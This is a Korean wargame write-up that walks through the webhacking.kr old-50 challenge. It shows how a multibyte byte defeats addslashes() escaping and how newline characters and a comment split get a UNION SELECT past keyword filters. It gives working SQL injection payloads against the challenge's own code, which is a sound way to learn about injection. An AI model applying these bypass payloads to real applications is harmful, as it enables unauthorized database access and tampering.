본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-50

Write-Up

 

<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>

 

위 php 코드를 해석해보도록 한다. 

 

    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);

 

request 된 id, pw 의 인자 값들에 대한 addslashes()를 적용시키고 있다. ' (싱글 쿼터), " ( 더블 쿼터), \ (백슬래시) , NULL 바이트 등의 처리해야할 문자가 사용될 때, 앞에 \ 를 붙여 sql injection을 방어하는 기법이다. 

 

$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');

 

먼저, mb_convert_encoding( 변환할 문자열 또는 배열 , 변환 할 인코딩 형식, 현재 인코딩 형식 ); 의 동작 방식이다. 즉 'euc-kr' 에서 'utf-8' 형식으로 변환을 진행해준다. utf-8은 멀티바이트 언어 셋 환경이므로 addslashes()를 우회할 수 있다. ( 이전까지는 addslashes()에 대한 무조건 적인 우회 방법이 %f1,%aa... 인줄 알았으나, Multibyte 환경에 한정된다는 것을 알게 되었다. )

 

foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();

 

위는 필터링 조건이다. 

 

 $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");

 

select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}') 와 같은 query로 $result 가 초기화 된다. $result 값이 true 이냐, $result['lv'] 값이 무엇이냐에 따라 결과가 달라진다. 

 

이제 본격적으로 exploit을 진행해본다. 

 

 

공백 필터링 우회 

%0a %0b %0c %0d %09 +(필터링) %20(필터링)

 

 

참 반응을 보인 payload ( id='guest%f1%5c'  or 1#&pw=nono )

?id=guest%aa%27%0aor%0a1%23&pw=nono

 

 

lv 1,2 까지는 결과가 출력되지만, 테이블 내에 lv 3값이 존재하지 않아서 그런지, lv like 3 과 같은 query 에는 효과가 없다. 

?id=guest%aa%27%0aor%0alv%0alike%0a0x32%23&pw=guest

 

union select 구문을 통해 lv 컬럼에 대한 값을 지정해 출력하고 싶은데, GET['id'] 요청에는 union 에 대한 필터링이 걸려있으므로, pw 파라미터를 이용하도록 한다. 

 

 

아래와 같은 payload를 사용해준다. (  /*  */ 는 sql 에서 주석을 의미한다. )

?id=%aa%27/*&pw=*/union%0aselect%0a3%23

 

그럼 아래와 같이 query가 구성되어지며, 문제를 해결할 수 있다.  

 

 

select lv from chall50 where id=' %aa%27/* ' and pw=md5(' */union%0aselect%0a3%23 ')

 

 

 

참고

 

 

https://blog.naver.com/bbmobile/221360230141

 

한글 인코딩, EUCKR 과 UTF8 제대로 알기 (1)

개발자라면 한 번쯤 '한글'을 깨뜨려 본 경험이 있을 것이다.  어디서 누가 깨뜨렸는지, 왜 깨뜨렸는...

blog.naver.com

 

https://rootable.tistory.com/144

 

addslashes(), mysql_real_escape_string() 우회

0. 주제 선정 SQL Injection에 대해 공부하는데 방어 기법으로 addslashes()와 mysql_real_escape_string()이 등장하였습니다. 그런데 책에서는 이 두가지 함수로 SQL Injection을 모두 방어할 수 있는 것처럼 나와

rootable.tistory.com

 

https://blog.naver.com/skinfosec2000/220535626029

 

PHP addslashes(), magic_quotes_gpc 우회를 통한 SQL Injection 공격

  addslashes(), magic_quotes_gpc 우회를 통한 SQL 인젝션 공격 가능       일부 ...

blog.naver.com